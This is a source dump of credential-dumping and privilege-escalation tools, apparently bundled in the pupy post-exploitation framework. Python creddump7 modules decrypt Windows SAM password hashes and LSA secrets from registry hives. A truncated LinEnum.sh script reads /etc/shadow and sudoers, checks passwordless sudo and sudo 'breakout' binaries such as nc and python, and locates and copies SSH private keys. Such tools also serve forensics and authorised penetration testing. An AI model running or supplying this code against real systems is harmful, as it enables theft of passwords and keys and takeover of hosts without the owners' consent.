    root = get_root(sysaddr)
    if not root:
        return 1

    csselect = open_key(root, ["Select"])
    if not csselect:
        return 1

    for v in values(csselect):
        if v.Name == "Current": return v.Data.value

def get_bootkey(sysaddr):
    cs = find_control_set(sysaddr)
    lsa_base = ["ControlSet%03d" % cs, "Control", "Lsa"]
    lsa_keys = ["JD","Skew1","GBG","Data"]

    root = get_root(sysaddr)
    if not root: return None

    lsa = open_key(root, lsa_base)
    if not lsa: return None

    bootkey = ""
    
    for lk in lsa_keys:
        key = open_key(lsa, [lk])
        class_data = sysaddr.read(key.Class.value, key.ClassLength.value)
        bootkey += class_data.decode('utf-16-le').decode('hex')
    
    bootkey_scrambled = ""
    for i in range(len(bootkey)):
        bootkey_scrambled += bootkey[p[i]]
    
    return bootkey_scrambled

def get_hbootkey(samaddr, bootkey):
    sam_account_path = ["SAM", "Domains", "Account"]

    root = get_root(samaddr)
    if not root: return None

    sam_account_key = open_key(root, sam_account_path)
    if not sam_account_key: return None

    F = None
    for v in values(sam_account_key):
        if v.Name == 'F':
            F = samaddr.read(v.Data.value, v.DataLength.value)
    if not F: return None

    revision = ord(F[0x00])
    if revision == 2:
        md5 = MD5.new()
        md5.update(F[0x70:0x80] + aqwerty + bootkey + anum)
        rc4_key = md5.digest()

        rc4 = ARC4.new(rc4_key)
        hbootkey = rc4.encrypt(F[0x80:0xA0])
        
        return hbootkey
    
    elif revision == 3:
        iv = F[0x78:0x88]
        encryptedHBootKey = F[0x88:0xA8]
        cipher = AES.new(bootkey, AES.MODE_CBC, iv)
        hbootkey = cipher.decrypt(encryptedHBootKey)

        return hbootkey[:16]

def get_user_keys(samaddr):
    user_key_path = ["SAM", "Domains", "Account", "Users"]

    root = get_root(samaddr)
    if not root: return []

    user_key = open_key(root, user_key_path)
    if not user_key: return []

    return [k for k in subkeys(user_key) if k.Name != "Names"]

def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr):
    if enc_hash == "":
        return ""
    (des_k1,des_k2) = sid_to_key(rid)
    d1 = DES.new(des_k1, DES.MODE_ECB)
    d2 = DES.new(des_k2, DES.MODE_ECB)
    md5 = MD5.new()
    md5.update(hbootkey[:0x10] + pack("<L",rid) + lmntstr)
    rc4_key = md5.digest()
    rc4 = ARC4.new(rc4_key)
    obfkey = rc4.encrypt(enc_hash)
    hash = d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:])

    return hash

def decrypt_single_salted_hash(rid, hbootkey, enc_hash, lmntstr, salt):
    if enc_hash == "":
        return ""
    (des_k1,des_k2) = sid_to_key(rid)
    d1 = DES.new(des_k1, DES.MODE_ECB)
    d2 = DES.new(des_k2, DES.MODE_ECB)
    cipher = AES.new(hbootkey[:16], AES.MODE_CBC, salt)
    obfkey = cipher.decrypt(enc_hash)
    hash = d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:16])

    return hash

def get_user_hashes(user_key, hbootkey):
    samaddr = user_key.space
    rid = int(user_key.Name, 16)
    V = None
    for v in values(user_key):
        if v.Name == 'V':
            V = samaddr.read(v.Data.value, v.DataLength.value)
    if not V: return None
    hash_offset = unpack("<L", V[0xa8:0xa8+4])[0] + 0xCC

    lm_offset_bytes = V[0x9c:0x9c+4]
    nt_offset_bytes = V[0x9c+12:0x9c+16]
    lm_offset = unpack("<L", lm_offset_bytes)[0] + 204
    nt_offset = unpack("<L", nt_offset_bytes)[0] + 204

    lm_revision = int(V[lm_offset+2:lm_offset+3].encode('hex'), 16)
    if lm_revision == 1:
        lm_exists = True if unpack("<L", V[0x9c+4:0x9c+8])[0] == 20 else False
        enc_lm_hash = V[hash_offset+4:hash_offset+20] if lm_exists else ""
        lmhash = decrypt_single_hash(rid, hbootkey, enc_lm_hash, almpassword)
    elif lm_revision == 2:
        lm_exists = True if unpack("<L", V[0x9c+4:0x9c+8])[0] == 56 else False
        lm_salt = V[hash_offset+4:hash_offset+20] if lm_exists else ""
        enc_lm_hash = V[hash_offset+20:hash_offset+52] if lm_exists else ""
        lmhash = decrypt_single_salted_hash(rid, hbootkey, enc_lm_hash, almpassword, lm_salt)

    nt_revision = int(V[nt_offset+2:nt_offset+3].encode('hex'), 16)
    if nt_revision == 1:
        nt_exists = True if unpack("<L", V[0x9c+16:0x9c+20])[0] == 20 else False
        enc_nt_hash = V[nt_offset+4:nt_offset+20] if nt_exists else ""
        nthash = decrypt_single_hash(rid, hbootkey, enc_nt_hash, antpassword)
    elif nt_revision == 2:
        nt_exists = True if unpack("<L", V[0x9c+16:0x9c+20])[0] == 56 else False
        nt_salt = V[nt_offset+8:nt_offset+24] if nt_exists else ""
        enc_nt_hash = V[nt_offset+24:nt_offset+56] if nt_exists else ""
        nthash = decrypt_single_salted_hash(rid, hbootkey, enc_nt_hash, antpassword, nt_salt)

    return lmhash,nthash

def get_user_name(user_key):
    samaddr = user_key.space
    V = None
    for v in values(user_key):
        if v.Name == 'V':
            V = samaddr.read(v.Data.value, v.DataLength.value)
    if not V: return None

    name_offset = unpack("<L", V[0x0c:0x10])[0] + 0xCC
    name_length = unpack("<L", V[0x10:0x14])[0]

    username = V[name_offset:name_offset+name_length].decode('utf-16-le')
    return username

def dump_hashes(sysaddr, samaddr):
    bootkey = get_bootkey(sysaddr)
    hbootkey = get_hbootkey(samaddr,bootkey)

    for user in get_user_keys(samaddr):
        lmhash,nthash = get_user_hashes(user,hbootkey)
        if not lmhash: lmhash = empty_lm
        if not nthash: nthash = empty_nt
        print("%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name,16),
                            lmhash.encode('hex'), nthash.encode('hex')))

def dump_file_hashes(syshive_fname, samhive_fname):
    sysaddr = HiveFileAddressSpace(syshive_fname)
    samaddr = HiveFileAddressSpace(samhive_fname)
    dump_hashes(sysaddr, samaddr)


================================================
FILE: pupy/external/creddump7/framework/win32/lsasecrets.py
================================================
# This file is part of creddump.
#
# creddump is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# creddump is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with creddump.  If not, see <http://www.gnu.org/licenses/>.

"""
@author:       Brendan Dolan-Gavitt
@license:      GNU General Public License 2.0 or later
@contact:      bdolangavitt@wesleyan.edu
"""

from .rawreg import *
from ..addrspace import HiveFileAddressSpace
from .hashdump import get_bootkey, str_to_key
from Crypto.Hash import MD5, SHA256
from Crypto.Cipher import ARC4,DES, AES


def get_lsa_key(secaddr, bootkey, vista):
    root = get_root(secaddr)
    if not root:
        return None

    if vista:
        enc_reg_key = open_key(root, ["Policy", "PolEKList"])
    else:
        enc_reg_key = open_key(root, ["Policy", "PolSecretEncryptionKey"])

    if not enc_reg_key:
        return None

    enc_reg_value = enc_reg_key.ValueList.List[0]
    if not enc_reg_value:
        return None

    obf_lsa_key = secaddr.read(enc_reg_value.Data.value,
            enc_reg_value.DataLength.value)
    if not obf_lsa_key:
        return None

    if not vista:
        md5 = MD5.new()
        md5.update(bootkey)
        for i in range(1000):
            md5.update(obf_lsa_key[60:76])
        rc4key = md5.digest()
        rc4 = ARC4.new(rc4key)
        lsa_key = rc4.decrypt(obf_lsa_key[12:60])
        lsa_key = lsa_key[0x10:0x20]
    else:
        lsa_key = decrypt_aes(obf_lsa_key, bootkey)
        lsa_key = lsa_key[68:100]

    return lsa_key


def decrypt_secret(secret, key):
    """Python implementation of SystemFunction005.

    Decrypts a block of data with DES using given key.
    Note that key can be longer than 7 bytes."""
    decrypted_data = ''
    j = 0   # key index
    for i in range(0,len(secret),8):
        enc_block = secret[i:i+8]
        block_key = key[j:j+7]
        des_key = str_to_key(block_key)

        des = DES.new(des_key, DES.MODE_ECB)
        decrypted_data += des.decrypt(enc_block)

        j += 7
        if len(key[j:j+7]) < 7:
            j = len(key[j:j+7])

    (dec_data_len,) = unpack("<L", decrypted_data[:4])
    return decrypted_data[8:8+dec_data_len]


def decrypt_aes(secret, key):
    sha = SHA256.new()
    sha.update(key)
    for _i in range(1, 1000+1):
        sha.update(secret[28:60])
    aeskey = sha.digest()

    data = b''
    for i in range(60, len(secret), 16):
        aes = AES.new(aeskey, AES.MODE_CBC, b'\x00'*16)
        buf = secret[i : i + 16]
        if len(buf) < 16:
            buf += (16-len(buf)) * "\00"

        data += aes.decrypt(buf)

    return data


def get_secret_by_name(secaddr, name, lsakey, vista):
    root = get_root(secaddr)
    if not root:
        return None

    enc_secret_key = open_key(root, ["Policy", "Secrets", name, "CurrVal"])
    if not enc_secret_key:
        return None

    enc_secret_value = enc_secret_key.ValueList.List[0]
    if not enc_secret_value:
        return None

    enc_secret = secaddr.read(enc_secret_value.Data.value,
            enc_secret_value.DataLength.value)
    if not enc_secret:
        return None

    if vista:
        secret = decrypt_aes(enc_secret, lsakey)
    else:
        secret = decrypt_secret(enc_secret[0xC:], lsakey)

    return secret


def get_secrets(sysaddr, secaddr, vista):
    root = get_root(secaddr)
    if not root:
        return None

    bootkey = get_bootkey(sysaddr)
    lsakey = get_lsa_key(secaddr, bootkey, vista)

    secrets_key = open_key(root, ["Policy", "Secrets"])
    if not secrets_key:
        return None

    secrets = {}
    for key in subkeys(secrets_key):
        sec_val_key = open_key(key, ["CurrVal"])
        if not sec_val_key:
            continue

        enc_secret_value = sec_val_key.ValueList.List[0]
        if not enc_secret_value:
            continue

        enc_secret = secaddr.read(enc_secret_value.Data.value,
                enc_secret_value.DataLength.value)
        if not enc_secret:
            continue

        if vista:
            secret = decrypt_aes(enc_secret, lsakey)
        else:
            secret = decrypt_secret(enc_secret[0xC:], lsakey)

        secrets[key.Name] = secret

    return secrets


def get_file_secrets(sysfile, secfile, vista):
    sysaddr = HiveFileAddressSpace(sysfile)
    secaddr = HiveFileAddressSpace(secfile)

    return get_secrets(sysaddr, secaddr, vista)


================================================
FILE: pupy/external/creddump7/framework/win32/rawreg.py
================================================
# This file is part of creddump.
#
# creddump is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# creddump is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with creddump.  If not, see <http://www.gnu.org/licenses/>.

"""
@author:       Brendan Dolan-Gavitt
@license:      GNU General Public License 2.0 or later
@contact:      bdolangavitt@wesleyan.edu
"""
from __future__ import print_function

from ..newobj import Obj,Pointer
from struct import unpack

ROOT_INDEX = 0x20

LH_SIG = unpack('<H', b'lh')[0]
LF_SIG = unpack('<H', b'lf')[0]
RI_SIG = unpack('<H', b'ri')[0]

def get_root(address_space):
    return Obj('_CM_KEY_NODE', ROOT_INDEX, address_space)


def open_key(root, key):
    if key == []:
        return root

    keyname = key.pop(0)
    for s in subkeys(root):
        if s.Name.upper() == keyname.upper():
            return open_key(s, key)
    print("ERR: Couldn't find subkey %s of %s" % (keyname, root.Name))
    return None


def subkeys(key,stable=True):
    if stable:
        k = 0
    else:
        k = 1

    sk = (key.SubKeyLists[k]/["pointer", ["_CM_KEY_INDEX"]]).value
    sub_list = []

    if (sk.Signature.value == LH_SIG or
            sk.Signature.value == LF_SIG):
        sub_list = sk.List

    elif sk.Signature.value == RI_SIG:
        lfs = []
        for i in range(sk.Count.value):
            off,tp = sk.get_offset(['List', i])
            lfs.append(Pointer("pointer", sk.address+off, sk.space,
                ["_CM_KEY_INDEX"]))
        for lf in lfs:
            sub_list += lf.List

    for s in sub_list:
        if s.is_valid() and s.Signature.value == 27502:
            yield s.value


def values(key):
    for v in key.ValueList.List:
        yield v.value


def walk(root):
    for k in subkeys(root):
        yield k
        for j in walk(k):
            yield j


================================================
FILE: pupy/external/creddump7/lsadump.py
================================================
#!/usr/bin/env python

# This file is part of creddump.
#
# creddump is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# creddump is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with creddump.  If not, see <http://www.gnu.org/licenses/>.

"""
@author:       Brendan Dolan-Gavitt
@license:      GNU General Public License 2.0 or later
@contact:      bdolangavitt@wesleyan.edu
"""
from __future__ import print_function

import sys
from framework.win32.lsasecrets import get_file_secrets

# Hex dump code from
# http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812

FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)])

def showUsage():
    print("usage: %s <system hive> <security hive> <Vista/7>" % sys.argv[0])
    print("\nExample (Windows Vista/7):")
    print("%s /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true" % sys.argv[0])
    print("\nExample (Windows XP):")
    print("%s /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false" % sys.argv[0])


def dump(src, length=8):
    N=0; result=''
    while src:
       s,src = src[:length],src[length:]
       hexa = ' '.join(["%02X"%ord(x) for x in s])
       s = s.translate(FILTER)
       result += "%04X   %-*s   %s\n" % (N, length*3, hexa, s)
       N+=length
    return result

if len(sys.argv) < 4 or sys.argv[3] not in ["true", "false"]:
    showUsage()
    sys.exit(1)
else:
    vista = True if sys.argv[3] == "true" else False

secrets = get_file_secrets(sys.argv[1], sys.argv[2], vista)
if not secrets:
    print("Unable to read LSA secrets. Perhaps you provided invalid hive files?")
    sys.exit(1)

for k in secrets:
    print(k)
    print(dump(secrets[k], length=16))


================================================
FILE: pupy/external/creddump7/pwdump.py
================================================
#!/usr/bin/env python

# This file is part of creddump.
#
# creddump is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# creddump is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with creddump.  If not, see <http://www.gnu.org/licenses/>.

"""
@author:       Brendan Dolan-Gavitt
@license:      GNU General Public License 2.0 or later
@contact:      bdolangavitt@wesleyan.edu
"""
from __future__ import print_function

import sys
from framework.win32.hashdump import dump_file_hashes

if len(sys.argv) < 3:
    print("usage: %s <system hive> <SAM hive>" % sys.argv[0])
    sys.exit(1)

dump_file_hashes(sys.argv[1], sys.argv[2])


================================================
FILE: pupy/external/linenum/linenum.sh
================================================
#!/bin/bash
#A script to enumerate local information from a Linux host
v="version 0.5 (experimental)"
#@oshearing

#help function
usage () 
{ 
echo -e "\n\e[00;31m#########################################################\e[00m" 
echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m"
echo -e "\e[00;31m#########################################################\e[00m"
echo -e "\e[00;33m# www.rebootuser.com\e[00m"
echo -e "\e[00;33m# $v\e[00m\n"
echo -e "\e[00;33m# Example: ./LinEnum.sh -k keyword -r report -e /tmp/ -t \e[00m\n"

		echo "OPTIONS:"
		echo "-k	Enter keyword"
		echo "-e	Enter export location"
		echo "-t	Include thorough (lengthy) tests"
		echo "-r	Enter report name" 
		echo "-h	Displays this help text"
		echo -e "\n"
		echo "Running with no options = limited scans/no output file"
		
echo -e "\e[00;31m#########################################################\e[00m"		
}
while getopts "h:k:r:e:t" option; do
 case "${option}" in
	  k) keyword=${OPTARG};;
	  r) report=${OPTARG}"-"`date +"%d-%m-%y"`;;
	  e) export=${OPTARG};;
	  t) thorough=1;;
	  h) usage; exit;;
	  *) usage; exit;;
 esac
done

echo -e "\n\e[00;31m#########################################################\e[00m" |tee -a $report 2>/dev/null
echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m" |tee -a $report 2>/dev/null
echo -e "\e[00;31m#########################################################\e[00m" |tee -a $report 2>/dev/null
echo -e "\e[00;33m# www.rebootuser.com\e[00m" |tee -a $report 2>/dev/null
echo -e "\e[00;33m# $version\e[00m\n" |tee -a $report 2>/dev/null

echo "Debug Info" |tee -a $report 2>/dev/null

if [ "$keyword" ]; then 
	echo "keyword = $keyword" |tee -a $report 2>/dev/null
else 
	:
fi

if [ "$report" ]; then 
	echo "report name = $report" |tee -a $report 2>/dev/null
else 
	:
fi

if [ "$export" ]; then 
	echo "export location = $export" |tee -a $report 2>/dev/null
else 
	:
fi

if [ "$thorough" ]; then 
	echo "thorough tests = enabled" |tee -a $report 2>/dev/null
else 
	echo "thorough tests = disabled" |tee -a $report 2>/dev/null
fi

sleep 2

if [ "$export" ]; then
  mkdir $export 2>/dev/null
  format=$export/LinEnum-export-`date +"%d-%m-%y_%k:%M"`
  mkdir $format 2>/dev/null
else 
  :
fi

who=`whoami` |tee -a $report 2>/dev/null
echo -e "\n" |tee -a $report 2>/dev/null

echo -e "\e[00;33mScan started at:"; date |tee -a $report 2>/dev/null
echo -e "\e[00m\n" |tee -a $report 2>/dev/null

echo -e "\e[00;33m### SYSTEM ##############################################\e[00m" |tee -a $report 2>/dev/null

#basic kernel info
unameinfo=`uname -a 2>/dev/null`
if [ "$unameinfo" ]; then
  echo -e "\e[00;31mKernel information:\e[00m\n$unameinfo" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

procver=`cat /proc/version 2>/dev/null`
if [ "$procver" ]; then
  echo -e "\e[00;31mKernel information (continued):\e[00m\n$procver" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#search all *-release files for version info
release=`cat /etc/*-release 2>/dev/null`
if [ "$release" ]; then
  echo -e "\e[00;31mSpecific release information:\e[00m\n$release" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#target hostname info
hostnamed=`hostname 2>/dev/null`
if [ "$hostnamed" ]; then
  echo -e "\e[00;31mHostname:\e[00m\n$hostnamed" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

echo -e "\e[00;33m### USER/GROUP ##########################################\e[00m" |tee -a $report 2>/dev/null

#current user details
currusr=`id 2>/dev/null`
if [ "$currusr" ]; then
  echo -e "\e[00;31mCurrent user/group info:\e[00m\n$currusr" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#last logged on user information
lastlogedonusrs=`lastlog |grep -v "Never" 2>/dev/null`
if [ "$lastlogedonusrs" ]; then
  echo -e "\e[00;31mUsers that have previously logged onto the system:\e[00m\n$lastlogedonusrs" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#strips out username uid and gid values from /etc/passwd
usrsinfo=`cat /etc/passwd | cut -d ":" -f 1,2,3,4 2>/dev/null`
if [ "$usrsinfo" ]; then
  echo -e "\e[00;31mAll users and uid/gid info:\e[00m\n$usrsinfo" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#lists all id's and respective group(s)
grpinfo=`for i in $(cat /etc/passwd 2>/dev/null| cut -d":" -f1 2>/dev/null);do id $i;done 2>/dev/null`
if [ "$grpinfo" ]; then
  echo -e "\e[00;31mGroup memberships:\e[00m\n$grpinfo" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#checks to see if any hashes are stored in /etc/passwd (depreciated  *nix storage method)
hashesinpasswd=`grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null`
if [ "$hashesinpasswd" ]; then
  echo -e "\e[00;33mIt looks like we have password hashes in /etc/passwd!\e[00m\n$hashesinpasswd" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi
 
#locate custom user accounts with some 'known default' uids
readpasswd=`grep -v "^#" /etc/passwd | awk -F: '$3 == 0 || $3 == 500 || $3 == 501 || $3 == 502 || $3 == 1000 || $3 == 1001 || $3 == 1002 || $3 == 2000 || $3 == 2001 || $3 == 2002 { print }'`
if [ "$readpasswd" ]; then
  echo -e "\e[00;31mSample entires from /etc/passwd (searching for uid values 0, 500, 501, 502, 1000, 1001, 1002, 2000, 2001, 2002):\e[00m\n$readpasswd" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

if [ "$export" ] && [ "$readpasswd" ]; then
  mkdir $format/etc-export/ 2>/dev/null
  cp /etc/passwd $format/etc-export/passwd 2>/dev/null
else 
  :
fi

#checks to see if the shadow file can be read
readshadow=`cat /etc/shadow 2>/dev/null`
if [ "$readshadow" ]; then
  echo -e "\e[00;33m***We can read the shadow file!\e[00m\n$readshadow" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

if [ "$export" ] && [ "$readshadow" ]; then
  mkdir $format/etc-export/ 2>/dev/null
  cp /etc/shadow $format/etc-export/shadow 2>/dev/null
else 
  :
fi

#checks to see if /etc/master.passwd can be read - BSD 'shadow' variant
readmasterpasswd=`cat /etc/master.passwd 2>/dev/null`
if [ "$readmasterpasswd" ]; then
  echo -e "\e[00;33m***We can read the master.passwd file!\e[00m\n$readmasterpasswd" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

if [ "$export" ] && [ "$readmasterpasswd" ]; then
  mkdir $format/etc-export/ 2>/dev/null
  cp /etc/master.passwd $format/etc-export/master.passwd 2>/dev/null
else 
  :
fi

#all root accounts (uid 0)
echo -e "\e[00;31mSuper user account(s):\e[00m" | tee -a $report 2>/dev/null; grep -v -E "^#" /etc/passwd 2>/dev/null| awk -F: '$3 == 0 { print $1}' 2>/dev/null |tee -a $report 2>/dev/null
echo -e "\n" |tee -a $report 2>/dev/null

#pull out vital sudoers info
sudoers=`cat /etc/sudoers 2>/dev/null | grep -v -e '^$'|grep -v "#"`
if [ "$sudoers" ]; then
  echo -e "\e[00;31mSudoers configuration (condensed):\e[00m$sudoers" | tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

if [ "$export" ] && [ "$sudoers" ]; then
  mkdir $format/etc-export/ 2>/dev/null
  cp /etc/sudoers $format/etc-export/sudoers 2>/dev/null
else 
  :
fi

#can we sudo without supplying a password
sudoperms=`echo '' | sudo -S -l 2>/dev/null`
if [ "$sudoperms" ]; then
  echo -e "\e[00;33mWe can sudo without supplying a password!\e[00m\n$sudoperms" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#known 'good' breakout binaries
sudopwnage=`echo '' | sudo -S -l 2>/dev/null | grep -w 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\|'more'\|'less'\|'vi'\|'vim'\|'nc'\|'netcat'\|python\|ruby\|lua\|irb' | xargs -r ls -la 2>/dev/null`
if [ "$sudopwnage" ]; then
  echo -e "\e[00;33m***Possible Sudo PWNAGE!\e[00m\n$sudopwnage" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#checks to see if roots home directory is accessible
rthmdir=`ls -ahl /root/ 2>/dev/null`
if [ "$rthmdir" ]; then
  echo -e "\e[00;33m***We can read root's home directory!\e[00m\n$rthmdir" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#displays /home directory permissions - check if any are lax
homedirperms=`ls -ahl /home/ 2>/dev/null`
if [ "$homedirperms" ]; then
  echo -e "\e[00;31mAre permissions on /home directories lax:\e[00m\n$homedirperms" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#looks for files we can write to that don't belong to us
if [ "$thorough" = "1" ]; then
  grfilesall=`find / -writable -not -user \`whoami\` -type f -not -path "/proc/*" -exec ls -al {} \; 2>/dev/null`
  if [ "$grfilesall" ]; then
    echo -e "\e[00;31mFiles not owned by user but writable by group:\e[00m\n$grfilesall" |tee -a $report 2>/dev/null
    echo -e "\n" |tee -a $report 2>/dev/null
  else
    :
  fi
fi

#looks for world-reabable files within /home - depending on number of /home dirs & files, this can take some time so is only 'activated' with thorough scanning switch
if [ "$thorough" = "1" ]; then
wrfileshm=`find /home/ -perm -4 -type f -exec ls -al {} \; 2>/dev/null`
	if [ "$wrfileshm" ]; then
		echo -e "\e[00;31mWorld-readable files within /home:\e[00m\n$wrfileshm" |tee -a $report 2>/dev/null
		echo -e "\n" |tee -a $report 2>/dev/null
	else 
		:
	fi
  else
	:
fi

if [ "$thorough" = "1" ]; then
	if [ "$export" ] && [ "$wrfileshm" ]; then
		mkdir $format/wr-files/ 2>/dev/null
		for i in $wrfileshm; do cp --parents $i $format/wr-files/ ; done 2>/dev/null
	else 
		:
	fi
  else
	:
fi

#lists current user's home directory contents
if [ "$thorough" = "1" ]; then
homedircontents=`ls -ahl ~ 2>/dev/null`
	if [ "$homedircontents" ] ; then
		echo -e "\e[00;31mHome directory contents:\e[00m\n$homedircontents" |tee -a $report 2>/dev/null
		echo -e "\n" |tee -a $report 2>/dev/null
	else 
		:
	fi
  else
	:
fi

#checks for if various ssh files are accessible - this can take some time so is only 'activated' with thorough scanning switch
if [ "$thorough" = "1" ]; then
sshfiles=`find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null |xargs -r ls`
	if [ "$sshfiles" ]; then
		echo -e "\e[00;31mSSH keys/host information found in the following locations:\e[00m\n$sshfiles" |tee -a $report 2>/dev/null
		echo -e "\n" |tee -a $report 2>/dev/null
	else 
		:
	fi
  else
  :
fi

if [ "$thorough" = "1" ]; then
	if [ "$export" ] && [ "$sshfiles" ]; then
		mkdir $format/ssh-files/ 2>/dev/null
		for i in $sshfiles; do cp --parents $i $format/ssh-files/; done 2>/dev/null
	else 
		:
	fi
  else
	:
fi

#is root permitted to login via ssh
sshrootlogin=`grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | awk '{print  $2}'`
if [ "$sshrootlogin" = "yes" ]; then
  echo -e "\e[00;31mRoot is allowed to login via SSH:\e[00m" |tee -a $report 2>/dev/null; grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

echo -e "\e[00;33m### ENVIRONMENTAL #######################################\e[00m" |tee -a $report 2>/dev/null

#current path configuration
pathinfo=`echo $PATH 2>/dev/null`
if [ "$pathinfo" ]; then
  echo -e "\e[00;31mPath information:\e[00m\n$pathinfo" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#lists available shells
shellinfo=`cat /etc/shells 2>/dev/null`
if [ "$shellinfo" ]; then
  echo -e "\e[00;31mAvailable shells:\e[00m\n$shellinfo" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#current umask value with both octal and symbolic output
umask=`umask -S 2>/dev/null & umask 2>/dev/null`
if [ "$umask" ]; then
  echo -e "\e[00;31mCurrent umask value:\e[00m\n$umask" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#umask value as in /etc/login.defs
umaskdef=`cat /etc/login.defs 2>/dev/null |grep -i UMASK 2>/dev/null |grep -v "#" 2>/dev/null`
if [ "$umaskdef" ]; then
  echo -e "\e[00;31mumask value as specified in /etc/login.defs:\e[00m\n$umaskdef" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#password policy information as stored in /etc/login.defs
logindefs=`cat /etc/login.defs 2>/dev/null | grep "PASS_MAX_DAYS\|PASS_MIN_DAYS\|PASS_WARN_AGE\|ENCRYPT_METHOD" 2>/dev/null | grep -v "#" 2>/dev/null`
if [ "$logindefs" ]; then
  echo -e "\e[00;31mPassword and storage information:\e[00m\n$logindefs" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

if [ "$export" ] && [ "$logindefs" ]; then
  mkdir $format/etc-export/ 2>/dev/null
  cp /etc/login.defs $format/etc-export/login.defs 2>/dev/null
else 
  :
fi

echo -e "\e[00;33m### JOBS/TASKS ##########################################\e[00m" |tee -a $report 2>/dev/null

#are there any cron jobs configured
cronjobs=`ls -la /etc/cron* 2>/dev/null`
if [ "$cronjobs" ]; then
  echo -e "\e[00;31mCron jobs:\e[00m\n$cronjobs" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#can we manipulate these jobs in any way
cronjobwwperms=`find /etc/cron* -perm -0002 -exec ls -la {} \; -exec cat {} 2>/dev/null \;`
if [ "$cronjobwwperms" ]; then
  echo -e "\e[00;33m***World-writable cron jobs and file contents:\e[00m\n$cronjobwwperms" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

#contab contents
crontab=`cat /etc/crontab 2>/dev/null`
if [ "$crontab" ]; then
  echo -e "\e[00;31mCrontab contents:\e[00m\n$crontab" |tee -a $report 2>/dev/null
  echo -e "\n" |tee -a $report 2>/dev/null
else 
  :
fi

crontabvar=`ls -la /var/spool/cron/crontabs 2>/dev/null`
if [ "$crontabvar" ]; then
